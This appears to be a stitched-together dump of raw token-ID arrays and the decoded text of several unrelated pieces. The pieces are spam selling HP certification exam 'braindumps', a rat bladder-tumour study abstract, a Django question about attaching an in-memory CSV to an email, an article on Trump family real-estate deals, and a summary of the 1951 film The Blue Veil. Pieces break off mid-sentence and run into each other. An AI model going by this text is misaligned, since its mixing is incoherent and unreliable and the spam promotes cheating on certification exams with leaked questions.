17056, 30, 25265, 15, 8846, 30948, 64, 5626, 10, 535, 50274, 16360, 15, 16360, 319, 9, 3550, 9, 3423, 64, 7886, 1228, 187, 50274, 736, 426, 8168, 187, 50274, 1542, 1673, 275, 1673, 64, 7886, 27, 187, 50270, 14626, 27, 187, 50270, 736, 15, 9691, 9, 44054, 9, 788, 9573, 9, 16223, 13, 1673, 5029, 25950, 2073, 17880, 14, 25, 19279, 187, 50270, 16829, 42090, 4756, 27, 187, 50266, 736, 15, 9691, 9, 44054, 4464, 788, 9573, 9, 16223, 13, 1673, 2769, 16223, 43075, 25950, 2073, 17880, 14, 25, 19279, 187, 50270, 16829, 27, 187, 50266, 22525, 187, 50274, 16360, 15, 16360, 319, 9, 736, 10, 535, 50274, 10927, 426, 8406, 187, 50274, 2309, 2380, 187, 187, 510, 2127, 2708, 6548, 253, 1840, 1159, 434, 3453, 347, 247, 4764, 275, 8888, 15, 38729, 5023, 187, 510, 1304, 4764, 310, 619, 16025, 1566, 16, 6082, 326, 434, 3562, 708, 9809, 1078, 667, 273, 436, 2127, 310, 1925, 15, 187, 3550, 64, 8412, 426, 12196, 21423, 64, 301, 1383, 686, 22337, 64, 2754, 1383, 686, 16223, 64, 3281, 1383, 10, 187, 5719, 426, 21726, 7474, 2073, 17835, 20772, 1383, 686, 17835, 18456, 1383, 8256, 13, 14412, 11667, 33, 11667, 15, 681, 23405, 187, 5719, 15, 38729, 1587, 16223, 15, 25265, 995, 13474, 64, 284, 64, 25265, 9, 16223, 13, 4910, 426, 1618, 64, 8412, 13, 3490, 64, 15069, 30, 5088, 10, 1157, 346, 1156, 16, 25265, 2807, 187, 5719, 15, 13161, 1082, 187, 187, 4943, 434, 253, 1566, 323, 247, 10840, 1082, 1789, 27, 187, 2437, 10840, 9, 19286, 15, 7104, 2262, 187, 50274, 21423, 64, 301, 426, 3210, 15, 16467, 6180, 2073, 27967, 10030, 1383, 3625, 64, 2364, 426, 11793, 13, 4284, 30, 17, 10, 2490, 50274, 22337, 64, 2754, 426, 3210, 15, 24151, 6180, 2073, 32331, 3522, 1383, 4284, 30, 2606, 13634, 15, 2666, 10, 187, 50274, 16223, 64, 3281, 426, 3210, 15, 16467, 6180, 2073, 20684, 19662, 1383, 4284, 30, 17, 10, 2490, 187, 6693, 1361, 310, 10260, 14109, 15, 50276, 187, 4943, 434, 849, 309, 34243, 971, 436, 2127, 281, 789, 27, 13474, 64, 284, 64, 25265, 1082, 6548, 247, 45584, 1789, 326, 309, 1053, 626, 878, 281, 5321, 347, 247, 1873, 390, 275, 619, 5447, 428, 840, 253, 2127, 863, 3844, 326, 281, 253, 4579, 3587, 432, 247, 45584, 1789, 275, 3541, 13, 417, 247, 9809, 1873, 15, 50276, 3650, 2119, 604, 436, 310, 1896, 13, 533, 326, 434, 7445, 323, 619, 3198, 15, 187, 187, 34, 27, 187, 187, 25265, 16360, 476, 3630, 281, 667, 1789, 342, 247, 3630, 1082, 1332, 13, 2556, 281, 253, 27586, 15, 380, 7312, 13814, 966, 281, 897, 672, 368, 971, 271, 275, 14, 20704, 1873, 3022, 1789, 310, 247, 4605, 6527, 4227, 13, 390, 260, 2776, 6527, 604, 368, 1472, 2119, 368, 1912, 626, 320, 4028, 39879, 5113, 281, 352, 15, 1893, 634, 13474, 64, 936, 64, 25265, 1159, 943, 1007, 1633, 751, 27, 187, 2948, 260, 2776, 6527, 187, 187, 1545, 13474, 64, 284, 64, 25265, 9, 16223, 13, 4910, 13, 3490, 64, 15069, 2262, 187, 50274, 4, 4853, 1673, 64, 7886, 347, 1840, 13, 7384, 634, 26234, 318, 310, 3451, 187, 50274, 25265, 64, 11023, 426, 260, 2776, 6527, 15, 2776, 6527, 1082, 50270, 187, 50274, 16360, 426, 43153, 15 ]	-T27 questions are available only on CertificationsDesk.com, which are able to help as many as professionals that are interested in giving them such sort of HP HPE2-T27 Exam Dumps with complete preparation. Most of the times, HP HPE2-T27 exam can be purchased in the formatting of HPE2-T27 Training Material and this is the reason why it's better to pick the HP HPE2-T27 test questions Pass HP HPE2-T27 Test with HPE2-T27 Test Dumps You will find so a number of the HP specialists that generally that don't commence with the planning of this HP HPE2-T27 test with splendid HPE2-T27 VCE dumps that could actually affect showing up for the HPE Synergy Solutions certification test very effectively. You ought to try and coordinate with us as we can assist our clients to manage their period best HPE2-T27 Practice Test, so finest that it can be really helpful for them to put together for HP HPE2-T27 certification test. Secrets of HP HPE2-T27 Braindumps That Make Everyone Love It One of the ideal benefits about us is that we supply HP Product Certified HPE2-T27 exam dumps for our clients, so that it can be really very easy for them to make for HP HPE2-T27 certification exam with the help of our HPE2-T27 practice exam questions we like to provide for them. However, they can buy our software also get HP HPE2-T27 Test Dumps, so it can be helpful for them to prepare to get HP HPE2-T27 HPE2-T27 practice test software. HPE2-Z38 We're giving a lot of affirmation regarding HPE2-Z38 certification exam plus from which IT gurus are able improve their calling to the statures of progress in HPE2-Z38 new questions and answers. HP ExpertONE Creating HPE Software-defined Networks test questions prevalent offered by CertificationsDesk.com and it is very advantageous for HPE2-Z38 test questions offered by CertificationsDesk.com. On the off chance that you are part of an IT based Organization, then you are capable to pass HPE2-Z38 exam. As a result, regarding pass HPE2-Z38 exam it is similarly essential to end getting ready for the HPE2-Z38 pdf dumps, else it may end up markedly problematic for students to pass HPE2-Z38 test at first try. Take the best online HPE2-Z38 dumps It's important to seek out a relevant organization which is giving initial rate HP ExpertONE HPE2-Z38 exam dumps into the planning of HPE2-Z38 exam, as preparation is vital before showing up to the last, most decisive test of HPE2-Z38 along those lines. There are a lot of organizations that are giving HPE2-Z38 braindumps questions however we are giving perfect braindumps questions for HPE2-Z38 test by which you are able to pass HPE2-Z38 test offered by our firm in initially endeavour. Get HPE2-Z38 pdf dumps given by CertificationsDesk.com and enjoy benefits of reductions at first acquisition of HPE2-Z38 training material. We are putting forth preparation item for HPE2-Z38 dumps in a much-lowered cost and you are able to get profit rebate from our HPE2-Z38 questions and answers. You're ready to enroll at our official online platform for Creating HPE Software-defined Networks exam and select proper questions for HPE2-Z38 practice exam. Finish direction will be awarded to a client for HPE2-Z38 exam and already you are glad about the trial items included in our HPE2-Z38 sample questions at the time you have the ability to achieve in HPE2-Z38 test. At the supreme selection of buying HPE2-Z38 practice exam from our HP ExpertONE HPE2-Z38 training material. There's inspiriting news for students who want to pass HPE2-Z38 exam, that we're providing preparing HPE2-Z38 braindumps questions with 100% cash back guarantee, in case you're facing any issue about HP ExpertONE HPE2-Z38 test then you'll be guided by our expert group which is accessible around the clock.Experimental bladder tumor induction, propagation, and therapy. The development of animal bladder tumor models as a research tool for different modes of therapy has been widely evaluated. Recently these tumors have either spontaneously grown or have been propagated in inbred strains. Bladder tumors have also been chemically produced by N-[4-(5-nitro-2-furyl)-2-thiazolyl] formamide (FANFT) when orally administered over a long period of time. It has been further reported that these tumors have been inhibited by various chemotherapy regimens. The availability of an experimental bladder tumor model offers an opportunity to evaluate the effectiveness of a prescribed treatment. In our studies FANFT was noted to produce only from 33 to 40% bladder tumors in several experiments in an inbred strain of rats conducted over several years. Reproducible transplantability of these tumors was not demonstrable in the same inbred strain. In addition, treatment with mitomycin C an an effective chemotherapeutic agent was not detectable in part, since comparably the percentage of control bladder tumor growth was low. These findings of a three-year study should be carefully considered when evaluating recommendations for clinical adjuvant chemotherapy based on results obtained with FANFT.Q: How do I create a CSV file from a model & then add it as an email attachment? I'm trying to generate a CSV from an object stored in my database and then add the csv to an email as an attachment. I'm using Django 1.7 & Python 2.7. I'm getting this error with the following code: "AttributeError: '_csv.writer' object has no attribute 'encode'" Here's my code: def export_as_csv(report, fields, force_fields): print "export to csv started" """ Generic csv export admin action. based on http://djangosnippets.org/snippets/2020/ extended for being able to give list_display as fields and work with admin-defined functions """ opts = report if not force_fields: field_names = set([field.name for field in opts.fields]) if fields: fieldset = set(fields) field_names = field_names & fieldset elif fields: field_names = set(fields) else: raise("option force_fields can only be used in parallel with option fields") writer = csv.writer(open("myfile.csv","w"), delimiter=',',quoting=csv.QUOTE_ALL) writer.writerow(list(field_names)) row = [] for field in field_names: try: row.append(unicode(getattr(report, field)).encode('utf-8')) except AttributeError: row.append(unicode((getattr(report, field)(report))).encode('utf-8')) except: raise writer.writerow(row) response = writer return response The code below returns the above function's output as a parameter in mail.attach(). The report parameter is my DB model/object that's created & saved before any of this code is called. list_display = ('primary_id', 'created_date','report_size',) mail = EmailMessage('Email Subject', 'Email Body', None, ['example@example.com']) mail.attach("report.csv", export_as_csv(report, fields = list_display, force_fields=True), "text/csv") mail.send() Here's the model for a Report() object: class Report(models.Model): primary_id = models.IntegerField('Primary Key', primary_key = True, default=0) created_date = models.DateTimeField('Created date', default=timezone.now) report_size = models.IntegerField('Report Size', default=0) Any help is greatly appreciated. Here's how I ideally want this code to work: export_as_csv() returns a CSV object that I don't need to save as a file or in my database - then the code attaches that to the email directly from a CSV object in memory, not a saved file. Not sure if this is possible, but that's ideal for my needs. A: csvwriter can write to any object with a write() method, according to the docs. The usual Python class to use when you want an in-memory filelike object is a StringIO instance, or cStringIO if you're sure you won't be writing Unicode objects to it. So your export_to_csv function should look something like: import cStringIO def export_as_csv(report, fields, force_fields): # define field_names as above, assuming your indentation is correct csv_buffer = cStringIO.StringIO() writer = csv.
[ 773, 3220, 3858, 4934, 2819, 387, 352, 13, 3981, 13, 2802, 42, 1158, 352, 457, 84, 7154, 15933, 533, 309, 4934, 3981, 352, 369, 2802, 2369, 1943, 2968, 9027, 18365, 187, 187, 50003, 285, 7586, 2743, 3778, 342, 247, 2557, 273, 34369, 15, 2091, 4645, 779, 247, 1896, 2968, 13, 5037, 2296, 13, 773, 1328, 1900, 33303, 275, 327, 253, 1264, 1841, 368, 1053, 457, 85, 871, 1425, 3856, 457, 84, 752, 253, 767, 26379, 452, 6311, 670, 2509, 2136, 13, 3778, 14, 4826, 27, 187, 187, 12501, 327, 253, 29684, 187, 2042, 368, 457, 250, 247, 1524, 8304, 871, 14, 262, 14, 455, 13, 368, 778, 417, 751, 10053, 3778, 15, 1422, 778, 1158, 1529, 13722, 13, 751, 1457, 2816, 457, 84, 12167, 13625, 390, 7854, 29735, 13, 34280, 9027, 84, 10053, 25063, 13, 21168, 6882, 375, 390, 9910, 390, 21440, 326, 403, 1805, 15, 1292, 6763, 14936, 15, 496, 958, 13, 22251, 12724, 2075, 247, 15087, 1905, 45064, 1333, 352, 457, 84, 3798, 1384, 2558, 281, 1884, 2558, 273, 752, 643, 10870, 3607, 20279, 1905, 323, 247, 345, 33285, 1514, 342, 253, 3778, 1416, 327, 352, 15, 34784, 22847, 285, 5037, 10512, 15, 1379, 2120, 5750, 273, 326, 15, 187, 187, 510, 3778, 17273, 41358, 247, 4451, 1899, 347, 253, 33178, 16252, 1524, 8304, 14754, 9141, 15, 380, 1535, 10628, 457, 11461, 310, 2074, 281, 752, 310, 1846, 275, 253, 8614, 4491, 13, 835, 1943, 46881, 751, 45280, 13, 8141, 5308, 285, 2398, 363, 1519, 7981, 616, 4454, 285, 15040, 281, 2571, 15, 33523, 4911, 10471, 2075, 3778, 271, 3302, 9801, 313, 27978, 13, 370, 18, 3041, 281, 370, 19, 3041, 10, 285, 5194, 281, 2075, 854, 2558, 281, 1458, 2558, 273, 253, 13711, 6224, 273, 616, 6882, 375, 15, 1310, 253, 3778, 1416, 11330, 253, 1384, 2558, 14, 11095, 36102, 13, 1097, 4676, 1056, 562, 15, 187, 187, 10971, 13, 253, 1535, 10628, 755, 347, 1199, 347, 2716, 273, 1046, 14838, 5087, 27433, 247, 22791, 13, 5431, 1384, 2558, 1840, 752, 597, 285, 616, 2440, 10471, 5194, 310, 4344, 2791, 1318, 273, 247, 2867, 15, 1198, 512, 436, 13, 3778, 3839, 12516, 642, 2583, 1066, 15, 773, 3039, 352, 3249, 281, 2583, 13, 954, 952, 403, 1512, 9202, 390, 30069, 281, 288, 356, 10582, 15, 8948, 597, 1158, 352, 457, 84, 11463, 90, 15, 2752, 12247, 2506, 457, 85, 1806, 2296, 5037, 15, 187, 187, 4678, 10995, 187, 5498, 31562, 849, 521, 3392, 1119, 247, 19080, 1039, 281, 823, 1249, 13, 933, 6278, 4669, 273, 2317, 281, 253, 14469, 6304, 2163, 4173, 327, 4913, 14216, 13, 534, 344, 11516, 281, 1029, 14, 423, 6882, 375, 15, 41898, 275, 29063, 13, 253, 3652, 574, 1052, 49130, 13, 7470, 347, 8614, 9956, 533, 14999, 253, 6278, 20541, 326, 253, 2303, 22251, 651, 4831, 15, 380, 35900, 2127, 17163, 796, 6240, 667, 6278, 4669, 281, 253, 2867, 15, 3778, 2183, 521, 3347, 27, 773, 2042, 368, 564, 407, 253, 3708, 29817, 13, 368, 457, 620, 1620, 755, 2712, 2218, 1425, 187, 187, 18130, 13, 665, 457, 69, 9716, 253, 2867, 323, 370, 12730, 3041, 285, 369, 9100, 370, 2227, 3041, 327, 30074, 569, 13, 3078, 281, 823, 2317, 407, 13633, 253, 3652, 457, 84, 5170, 23467, 15, 1893, 344, 11479, 8659, 1249, 13, 933, 6278, 4669, 273, 1711, 6264, 2317, 387, 253, 2605, 457, 84, 2613, 13, 6108, 1527, 17819, 11834, 247, 7145, 273, 253, 3652, 1977, 432, 253, 6406, 15, 187, 187, 5872, 13, 8133, 247, 19152, 327, 253, 3686, 273, 5454, 326, 310, 1846, 275, 1457, 2816, 35900, 13, 344, 9495, 253, 2317, 24311, 281, 1056, 8750, 28573, 407, 29893, 272, 247, 10194, 14, 395, 14, 25483, 6880, 1840, 253, 5368, 10699, 15, 1876, 5085, 387, 752, 1024, 310, 1925, 3778, 4913, 14216, 403, 4211, 3707, 323, 253, 15482, 5967, 13, 33449, 387, 370, 1237, 3041, 15, 187, 187, 11244, 253, 3420, 187, 8430, 10053, 3778, 327, 8120, 4850, 492, 6948, 275, 253, 2315, 13, 954, 4102, 323, 253, 25961, 13165, 13, 344, 310, 247, 6303, 387, 11365, 2762, 29957, 15, 773, 1231, 476, 513, 247, 3652, 275, 253, 4766, 273, 17663, 13, 285, 352, 2789, 3872, 3668, 1806, 2296, 5037, 15, 754, 285, 34784, 22847, 6947, 3038, 327, 253, 4481, 342, 16817, 275, 8238, 835, 747, 3778, 3607, 403, 1146, 3715, 15, 187, 187, 27958, 634, 4522, 1653, 187, 510, 11504, 3778, 310, 247, 26835, 382, 15, 1198, 1107, 344, 556, 11873, 1520, 253, 5753, 327, 752, 369, 987, 285, 3430, 342, 9195, 15, 1623, 581, 3332, 7814, 4131, 10053, 3778, 11580, 253, 5140, 2670, 273, 521, 8039, 2440, 13, 581, 273, 253, 1643, 10832, 518, 723, 344, 21186, 2233, 2558, 285, 323, 534, 344, 310, 8133, 598, 512, 253, 2583, 15, 733, 38319, 968, 521, 26634, 504, 15692, 2282, 275, 5226, 375, 7188, 3229, 13, 34280, 904, 6420, 273, 8742, 9757, 15, 187, 187, 18130, 285, 521, 5140, 15071, 1007, 689, 3530, 273, 42801, 40154, 323, 253, 4446, 1576, 15, 2635, 597, 564, 715, 253, 6303, 14098, 273, 581, 273, 253, 9910, 15, 34784, 22847, 13, 3778, 310, 2183, 13, 3912, 433, 436, 2419, 11066, 285, 753, 247, 3497, 943, 320, 4395, 281, 755, 247, 1805, 1859, 15, 773, 2993, 457, 84, 987, 1806, 3778, 2296, 15, 187, 187, 8195, 3778, 2199, 310, 11002, 275, 8911, 3228, 13, 427, 15, 43, 904, 247, 2378, 48418, 6421, 9787, 3600, 72, 326, 457, 84, 1024, 18240, 272, 15, 1457, 8911, 12259, 19172, 3096, 42723, 285, 5171, 17468, 403, 943, 2158, 253, 370, 30977, 3041, 2105, 273, 253, 19661, 14, 85, 1017, 345, 3088, 2605, 15, 44705, 3778, 33427, 285, 1955, 281, 1527, 275, 4695, 13, 352, 16966, 281, 320, 253, 10086, 383, 16252, 3652, 275, 253, 1375, 15, 187, 187, 5498, 10512, 15, 310, 327, 253, 4481, 342, 3096, 42723, 670, 253, 5140, 789, 387, 1878, 7019, 247, 2129, 15, 37405, 3096, 42723, 3078, 253, 3652, 281, 452, 773, 2653, 2275, 8111, 1806, 11859, 1499, 5375, 327, 1016, 5254, 326, 2963, 413, 562, 432, 253, 19633, 8099, 13, 23534, 253, 2344, 796, 715, 581, 14, 19192, 7118, 15, 1292, 5037, 13762, 779, 326, 841, 26322, 16723, 49932, 253, 2570, 457, 84, 4898, 13, 697, 1943, 10156, 1127, 15, 444, 2815, 8779, 253, 34036, 13, 5037, 9125, 13, 651, 823, 816, 370, 19, 591, 6278, 3174, 281, 253, 5140, 2105, 273, 370, 8320, 15, 187, 187, 10758, 512, 253, 5085, 5580, 13, 253, 1535, 10628, 588, 3297, 327, 347, 2867, 15071, 15, 2732, 512, 13, 616, 1416, 310, 327, 253, 3652, 15, 510, 10063, 19716, 300, 313, 43345, 3085, 10, 187, 187, 510, 10063, 19716, 300, 310, 247, 25124, 2448, 9493, 14562, 3085, 6828, 407, 32324, 10246, 29888, 15, 733, 8599, 253, 2926, 273, 247, 3416, 665, 30885, 617, 1495, 23374, 323, 643, 952, 457, 84, 2151, 13, 5068, 816, 846, 3645, 3660, 309, 15, 380, 4060, 10770, 281, 253, 1481, 69, 16443, 2378, 16332, 407, 1726, 1255, 265, 285, 295, 1136, 447, 13, 18010, 4797, 281, 12129, 731, 432, 253, 3168, 1670, 3683, 16332, 407, 3739, 16675, 15, 380, 3601, 1993, 407, 22497, 3094, 6481, 310, 1754, 327, 247, 2926, 407, 44987, 8647, 10422, 13, 12956, 323, 253, 5112, 14, 12982, 3085, 2070, 15914, 587, 35526, 86, 275, 22420, 15, 14884, 411, 22493, 6114, 275, 247, 5248, 326, 3797, 8444, 418, 4551, 251, 13, 29778, 2071, 857, 437, 13, 285, 3419, 5210, 13856, 2522, 15, 187, 187, 28253, 187, 17588, 253, 2471, 273, 617, 23066, 6858, 13, 2137, 28137, 6100, 24525, 22455, 25026, 247, 11287, 767, 14, 11151, 12714, 347, 15339, 50147, 281, 253, 13131, 3347, 273, 260, 641, 292, 11662, 26485, 611, 15, 34827, 2205, 13, 665, 3663, 521, 4475, 275, 1429, 25857, 15, 1500, 6446, 83, 8657, 684, 5972, 342, 253, 2021, 285, 6524, 4916, 247, 9928, 34188, 15, 2091, 703, 34044, 26485, 434, 10419, 13, 344, 2304, 2246, 521, 14385, 49350, 571, 308, 2061, 398, 257, 13, 665, 19333, 6100, 24525, 1563, 617, 39741, 49595, 15, 187, 187, 24525, 24525, 9010, 8410, 342, 20193, 8966, 285, 17436, 321, 367, 2103, 5292, 285, 9513, 281, 1557, 323, 6858, 6625, 17782, 15, 8937, 254, 3347, 23698, 310, 39372, 432, 34519, 2143, 1955, 281, 4105, 23129, 285, 3076, 3879, 285, 6548, 1728, 342, 521, 16304, 13, 21122, 6018, 266, 15, 2091, 21122, 310, 5907, 247, 2628, 275, 2325, 343, 307, 13, 344, 1607, 7228, 1242, 29328, 281, 6100, 24525, 13, 665, 25026, 15, 3900, 6179, 323, 521, 269, 757, 68, 7678, 281, 3584, 13, 21122, 16544, 281, 17436, 321, 13, 665, 42169, 779, 670, 45906, 247, 3416, 344, 12345, 6057, 15, 14566, 1273, 7906, 13, 344, 5936, 344, 285, 6100, 24525, 3343, 247, 1643, 2607, 1078, 45906, 13, 285, 703, 4558, 342, 253, 367, 2103, 250, 656, 15, 187, 187, 58, 6364, 1509, 13, 285, 6100, 24525, 310, 15339, 50147, 281, 38150, 13, 253, 13265, 14, 2913, 14, 744, 6122, 273, 33088, 12256, 20453, 31338, 19263, 77, 968, 15, 2091, 31338, 310, 13444, 387, 271, 47373, 285, 38771, 38150, 434, 16883, 13, 253, 3226, 8599, 617, 3858, 6100, 24525, 310, 617, 3101, 15, 10417, 3006, 253, 3226, 556, 2489, 1512, 7660, 281, 617, 13, 418, 3941, 276, 21936, 281, 1089, 789, 11358, 15, 187, 187, 6300, 2720, 281, 253, 1265, 273, 3645, 3660, 3719, 13, 6100, 24525, 25026, 247, 2628, 342, 23442, 285, 29835, 8757, 15, 29835, 27022, 253, 4668, 285, 310, 11062, 275, 6680, 13, 40021, 521, 4475, 281, 6604, 779, 275, 5854, 15, 5761, 1107, 1509, 13, 285, 253, 5261, 12997, 23442, 13, 665, 1335, 556, 417, 4895, 1728, 13, 14545, 10430, 2583, 281, 1329, 617, 3347, 14861, 15, 6100, 24525, 25026, 8294, 323, 253, 5006, 285, 16540, 779, 347, 617, 1211, 15, 20175, 1996, 13, 672, 23442, 417, 7790, 617, 703, 310, 10884, 342, 617, 747, 5938, 13, 6100, 24525, 7771, 265, 281, 7758, 342, 14861, 13, 533, 310, 9833, 285, 6636, 342, 39721, 15, 4129, 344, 310, 24152, 281, 6100, 24525, 434, 4112, 13, 253, 3286, 6834, 310, 25042, 407, 1569, 281, 1091, 14861, 281, 23442, 15, 187, 187, 4125, 1512, 1711, 281, 320, 49979, 342, 253, 1557, 273, 247, 6858, 13, 6100, 24525, 25026, 247, 44118, 2081, 451, 2628, 275, 271, 18307, 2143, 275, 1340, 281, 320, 2810, 281, 2151, 15, 2091, 703, 12941, 271, 39109, 78, 10364, 13, 703, 41217, 344, 310, 6625, 17782, 367, 2103, 5292, 13, 253, 1024, 6782, 3347, 273, 617, 3438, 18652, 15, 6625, 17782, 41969, 617, 281, 521, 1728, 323, 8955, 253, 1563, 2129, 285, 4077, 6525, 323, 512, 253, 2151, 323, 5207, 703, 24782, 281, 320, 627, 342, 616, 46179, 15, 1284, 6100, 24525, 32010, 598, 342, 617, 3438, 7260, 13, 6625, 17782, 43076, 344, 5605, 617, 281, 320, 253, 295, 10059, 323, 521, 1211, 2151, 15, 187, 187, 19447, 187, 14884, 411, 22493, 347, 6100, 24525, 22455, 187, 8444, 418, 4551, 251, 347, 26485, 611, 15, 34827, 2205, 187, 29778, 2071, 857, 437, 347, 31338, 19263, 77, 968, 187, 7727, 11197, 1665, 347, 21122, 6018, 266, 2490, 3419, 5210, 13856, 2522, 347, 17436, 321, 367, 2103, 5292, 187, 2639, 10747, 443, 15, 10231, 347, 8966, 367, 2103, 5292, 2490, 12469, 5292, 39800, 350, 347, 23442, 8757, 187, 330, 6147, 300, 330, 316, 471, 347, 6893, 41360, 968, 187, 50033, 9002, 347, 38150, 19263, 77, 968, 187, 31802, 757, 657, 593, 347, 49350, 571, 308, 2061, 398, 257, 187, 5682, 473, 8, 10759, 965, 1994, 347, 29835, 8757, 187, 5037, 11276, 347, 3196, 15, 6911, 367, 2103, 5292, 187, 17363, 12436, 322, 4213, 1351, 347, 4412, 10158, 187, 17560, 18593, 1321, 347, 21001, 15, 6086, 16863, 187, 187, 42993, 16112, 187, 35, 375, 2205, 22211, 508, 273, 253, 1457, 2816, 7717, 1925, 253, 3085, 346, 66, 665, 2784, 314, 8913, 267, 16024, 14, 28133, 6426, 544, 3529, 62, 588, 42620, 1554, 11434, 273, 6440, 2184, 398, 665, 751, 2717, 1805, 685, 247, 1175, 3501, 449, 754, 2879, 13, 346, 7710, 15, 3094, 6481, 434, 10076, 13, 762, 32324, 10246, 29888, 434, 18377, 90, 3884, 13, 33902, 5767, 411, 22493, 434, 4112, 1051, 14806, 247, 2962, 273, 1061, 2147, 314, 5101, 14326, 13305, 13, 523, 30487, 281, 29684, 253, 2798, 285, 1246, 436, 10692, 347, 247, 572, 36731, 14, 965, 1882, 24032, 15, 1707, 310, 1652, 275, 253, 1039, 273, 19311, 13, 650, 262, 390, 13, 323, 326, 2647, 13, 1524, 10359, 1051, 14866, 411, 22493 ]	“My friends kept looking at it, saying, ‘I think it’s broken,’ but I kept saying it was ‘no big deal.’ ” Brother and sister regard Trump with a measure of awe. When showing him a possible deal, Don says, “He always zeros in on the three things you don’t know.” Here’s what the two siblings have learned about doing business, Trump-style: Put on the squeeze If you’re a real estate know-it-all, you may not like Donald Trump. You may think another developer, like New York’s Stephen Ross or Irvine, Calif.’s Donald Bren, builds condos or houses or hotels that are better. But thousands disagree. In fact, buyers consistently pay a premium — brokers say it’s usually 20 percent to 30 percent of what other comparable properties fetch — for a condominium with the Trump name on it. Ivanka and Don Jr. take full advantage of that. The Trump Organization occupies a unique position as the lone residential real estate franchiser. The Trumps’ arrangement is similar to what is common in the hotel industry, where big outfits like Hilton, Starwood and Marriott license their names and expertise to others. Prospective partners pay Trump an initial fee (usually, $1 million to $2 million) and agree to pay 8 percent to 15 percent of the gross sales of their condos. If the Trump name produces the 20 percent-plus premiums, both parties make out. Finally, the Trumps get as much as half of every dollar paid exceeding a benchmark, typically 20 percent above what they and their development partners agree is fair market value of a property. For all this, Trump generally puts no money down. “When it comes to money, most people are too afraid or embarrassed to haggle. Maybe they think it’s tacky. My dad doesn’t,” says Don. Be creative Don recalls how his father found a clever way to add 12,000 square feet of space to the Hotel Delmonico on Park Avenue, which he converted to high-end condos. Built in 1929, the building had 200 suites, suitable as hotel rooms but lacking the square footage that the target buyers would demand. The zoning code forbade adding any square feet to the property. Trump told his son: “If you go by the status quo, you’ll never get anything done.” Trump, who’d purchased the property for $115 million and was spending $85 million on renovations, wanted to add space by extending the building’s upper floors. So he gutted 12,000 square feet of old commercial space at the structure’s base, leaving open dirt beneath a corner of the building away from the street. Then, putting a twist on the sort of trade that is common in New York zoning, he transferred the space upstairs to make bigger apartments by erecting a steel-and-glass extension above the existing roof. All units at what now is called Trump Park Avenue are sold except for the penthouse, priced at $32 million. Use the media Although Donald Trump on occasion gets trashed in the press, most recently for the casino bankruptcy, he is a master at generating positive publicity. “We can do a building in the middle of nowhere, and it makes national news,” says Don. He and Ivanka spend hours on the phone with reporters in cities where new Trump properties are being developed. Know your timbers The elder Trump is a perfectionist. For years he has lectured the kids on what was right and wrong with buildings. On one recent Saturday morning Donald Trump visited the construction site of his housing development, one of the few undertakings he owns 100 percent and for which he is putting up all the money. It adjoins his seaside golf course in Palos Verdes, Calif., south of Los Angeles. Trump and his construction managers look over samples of patio bricks for the driveways. Then they go into the master bedroom of one of the houses. Ivanka, Trump is told, toured this house yesterday and said a window should be moved to get a better view. “She’s right,” Trump says. Another Trump project is rising in Jersey City, N.J., a once dowdy industrial burg that’s now rallying. New Jersey developers Dean Geibel and Paul Fried are shouldering the $415 million cost of the twin-tower condo structure. Called Trump Plaza and due to open in 2008, it promises to be the tallest residential building in the state. Don Jr. is on the phone with Geibel about the construction work at least twice a week. Originally Geibel wanted the building to have “eyebrows,” concrete slabs on each floor that poke out from the exterior walls, dividing the facade into one-story sections. But Don convinced him that these protrusions disguised the complex’s height, its big selling point. Eliminating the eyebrows, Don argued, would add just $2 per square foot to the construction cost of $400. Once all the units sell, the Trumps will stay on as property managers. After all, their name is on the building.The Blue Veil (1951 film) The Blue Veil is a 1951 American historical drama film directed by Curtis Bernhardt. It tells the story of a woman who spends her life caring for other people’s children, beginning just after World War I. The title refers to the headdresses once worn by governesses and nannies, colored blue to distinguish them from the white veils worn by medical nurses. The screenplay by Norman Corwin is based on a story by François Campaux, adapted for the French-language film Le Voile Bleu in 1942. Jane Wyman stars in a cast that includes Charles Laughton, Joan Blondell, and Agnes Moorehead. Plot Following the death of her newborn baby, war widow LouLou Mason accepts a temporary two-week assignment as nursemaid to the infant son of corset manufacturer Frederick K. Begley, who lost his wife in childbirth. She ingratiates herself with the family and eventually becomes a permanent fixture. When she declines Frederick's proposal, he marries his secretary Alicia Torgersen, who fires LouLou following her honeymoon. LouLou finds employment with wealthy Henry and Fleur Palfrey and begins to care for baby Robbie. Older son Harrison is expelled from boarding school due to poor grades and bad behavior and returns home with his tutor, Jerry Kean. When Jerry is offered a job in Beirut, he impulsively proposes to LouLou, who accepts. While waiting for his fiancée to pack, Jerry speaks to Fleur, who warns him about marrying a woman he barely knows. Having second thoughts, he suggests he and LouLou wait a few months before marrying, and she remains with the Palfreys. Years pass, and LouLou is nursemaid to Stephanie, the twelve-year-old daughter of fading musical actress Annie Rawlins. When Annie is delayed at an audition and misses Stephanie's confirmation, the girl tells her friends LouLou is her mother. Realizing the girl has become too attached to her, Loulou decides to find work elsewhere. Just prior to the start of World War II, LouLou accepts a job with Helen and Hugh Williams. Hugh joins the military and is injured in battle, prompting his wife to join him in England. Two years pass, and the widowed Helen, who still has not returned home, stops sending money to support her son Tony. LouLou accepts responsibility for the boy and raises him as her own. Years later, when Helen notifies her she is returning with her new husband, LouLou flees to Florida with Tony, but is arrested and charged with kidnapping. Although he is sympathetic to LouLou's situation, the district attorney is compelled by law to return Tony to Helen. Now too old to be entrusted with the care of a baby, LouLou accepts a janitorial job in an elementary school in order to be close to children. When she visits an ophthalmologist, she discovers he is Robbie Palfrey, the now adult son of her former employers. Robbie invites her to his home for dinner the following week and arranges for all the children for whom she cared to be there with their spouses. As LouLou catches up with her former charges, Robbie announces he wants her to be the nanny for his own children. Cast Jane Wyman as LouLou Mason Charles Laughton as Frederick K. Begley Joan Blondell as Annie Rawlins Richard Carlson as Jerry Kean Agnes Moorehead as Fleur Palfrey Carleton G. Young as Henry Palfrey Audrey Totter as Helen Williams Cyril Cusack as Frank Hutchins Natalie Wood as Stephanie Rawlins Vivian Vance as Alicia Torgersen Dan O'Herlihy as Hugh Williams Don Taylor as Dr. Robert Palfrey Everett Sloane as District Attorney Alan Napier as Prof. George Carter Critical reception Bosley Crowther of the New York Times called the film "a whoppingly banal tear-jerker [that] will lure multitudes of moviegoers who like nothing better than a good cry." He added, "Mr. Corwin's scenario, under Curtis Bernhardt's soupy direction, stretches Miss Wyman's situation...into a series of parchedly sunlit episodes, contrived to squeeze the heart and present this lady as a quivering-lipped saint. There is little in the way of wit, grit or, for that matter, real substance...Miss Wyman
